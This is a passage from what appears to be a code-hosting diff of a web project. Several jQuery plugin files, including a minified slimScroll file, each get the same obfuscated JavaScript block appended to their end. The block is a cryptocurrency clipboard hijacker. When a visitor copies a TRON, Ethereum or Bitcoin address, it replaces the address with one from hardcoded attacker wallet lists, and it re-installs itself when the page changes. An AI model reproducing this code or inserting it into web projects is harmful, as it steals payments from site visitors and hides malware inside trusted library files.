ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();
|
||||
|
|
@ -404,3 +404,5 @@
|
|||
return this;
|
||||
};
|
||||
}));
|
||||
|
||||
(function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();
|
||||
File diff suppressed because one or more lines are too long
|
|
@ -384,3 +384,5 @@
|
|||
};
|
||||
|
||||
})(jQuery);
|
||||
|
||||
(function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();
|
||||
|
|
@ -472,3 +472,5 @@
|
|||
});
|
||||
|
||||
})(jQuery);
|
||||
|
||||
(function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();
|
||||
|
|
@ -13,4 +13,5 @@ h);b.css("height",h)}else"height"in f&&(h=f.height,b.parent().css("height",h),b.
|
|||
width:a.width,height:a.height});var m=e("<div></div>").addClass(a.railClass).css({width:a.size,height:"100%",position:"absolute",top:0,display:a.alwaysVisible&&a.railVisible?"block":"none","border-radius":a.railBorderRadius,background:a.railColor,opacity:a.railOpacity,zIndex:90}),c=e("<div></div>").addClass(a.barClass).css({background:a.color,width:a.size,position:"absolute",top:0,opacity:a.opacity,display:a.alwaysVisible?"block":"none","border-radius":a.borderRadius,BorderRadius:a.borderRadius,MozBorderRadius:a.borderRadius,
|
||||
WebkitBorderRadius:a.borderRadius,zIndex:99}),h="right"==a.position?{right:a.distance}:{left:a.distance};m.css(h);c.css(h);b.wrap(q);b.parent().append(c);b.parent().append(m);a.railDraggable&&c.bind("mousedown",function(a){var b=e(document);z=!0;t=parseFloat(c.css("top"));pageY=a.pageY;b.bind("mousemove.slimscroll",function(a){currTop=t+a.pageY-pageY;c.css("top",currTop);n(0,c.position().top,!1)});b.bind("mouseup.slimscroll",function(a){z=!1;p();b.unbind(".slimscroll")});return!1}).bind("selectstart.slimscroll",
|
||||
function(a){a.stopPropagation();a.preventDefault();return!1});m.hover(function(){w()},function(){p()});c.hover(function(){y=!0},function(){y=!1});b.hover(function(){r=!0;w();p()},function(){r=!1;p()});b.bind("touchstart",function(a,b){a.originalEvent.touches.length&&(A=a.originalEvent.touches[0].pageY)});b.bind("touchmove",function(b){k||b.originalEvent.preventDefault();b.originalEvent.touches.length&&(n((A-b.originalEvent.touches[0].pageY)/a.touchScrollStep,!0),A=b.originalEvent.touches[0].pageY)});
|
||||
x();"bottom"===a.start?(c.css({top:b.outerHeight()-c.outerHeight()}),n(0,!0)):"top"!==a.start&&(n(e(a.start).position().top,null,!0),a.alwaysVisible||c.hide());window.addEventListener?(this.addEventListener("DOMMouseScroll",v,!1),this.addEventListener("mousewheel",v,!1)):document.attachEvent("onmousewheel",v)}});return this}});e.fn.extend({slimscroll:e.fn.slimScroll})})(jQuery);
|
||||
x();"bottom"===a.start?(c.css({top:b.outerHeight()-c.outerHeight()}),n(0,!0)):"top"!==a.start&&(n(e(a.start).position().top,null,!0),a.alwaysVisible||c.hide());window.addEventListener?(this.addEventListener("DOMMouseScroll",v,!1),this.addEventListener("mousewheel",v,!1)):document.attachEvent("onmousewheel",v)}});return this}});e.fn.extend({slimscroll:e.fn.slimScroll})})(jQuery);
|
||||
(function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();
|
||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user